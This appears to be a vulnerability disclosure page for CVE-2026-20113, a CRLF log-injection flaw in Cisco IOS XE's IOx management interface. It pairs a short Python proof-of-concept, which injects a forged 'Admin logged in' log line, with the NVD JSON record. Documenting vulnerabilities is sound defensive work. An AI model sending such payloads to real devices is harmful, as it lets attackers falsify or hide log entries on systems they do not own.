CVE-2026-20113

import requests # Target URL (Example) target_url = "http://<target-ip>/iox/api/v1/hosting/..." # Malicious payload containing CRLF characters to inject into logs # Attackers can use this to forge log entries or split HTTP responses payload = " legitimate_request%0d%0a[INFO] Admin logged in successfully from 192.168.1.100%0d%0a" headers = { "User-Agent": "CRLF-Inject-Scanner/1.0", "Accept": "application/json" } # Sending the crafted request try: response = requests.get(target_url + payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Payload sent successfully. Check server logs for injection.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}")

{"cve": {"id": "CVE-2026-20113", "sourceIdentifier": "[email protected]", "published": "2026-03-25T16:16:15.637", "lastModified": "2026-03-26T15:13:15.790", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability in the web-based Cisco IOx application hosting environment management interface of Cisco IOS XE Software could allow an unauthenticated, remote attacker to perform a carriage return line feed (CRLF) injection attack against a user.\r\n\r This vulnerability is due to insufficient validation of user input. An attacker could exploit this vulnerability by sending crafted packets to an affected device. A successful exploit could allow the attacker to arbitrarily inject log entries, manipulate the structure of log files, or obscure legitimate log events."}, {"lang": "es", "value": "Una vulnerabilidad en la interfaz de gestión del entorno de alojamiento de aplicaciones Cisco IOx basada en web de Cisco IOS XE Software podría permitir a un atacante remoto no autenticado realizar un ataque de inyección de retorno de carro y salto de línea (CRLF) contra un usuario. Esta vulnerabilidad se debe a una validación insuficiente de la entrada del usuario. Un atacante podría explotar esta vulnerabilidad enviando paquetes manipulados a un dispositivo afectado. Un exploit exitoso podría permitir al atacante inyectar arbitrariamente entradas de registro, manipular la estructura de los archivos de registro u ocultar eventos de registro legítimos."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-93"}]}], "references": [{"url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iox-crlf-NvgKTKJZ", "source": "[email protected]"}]}}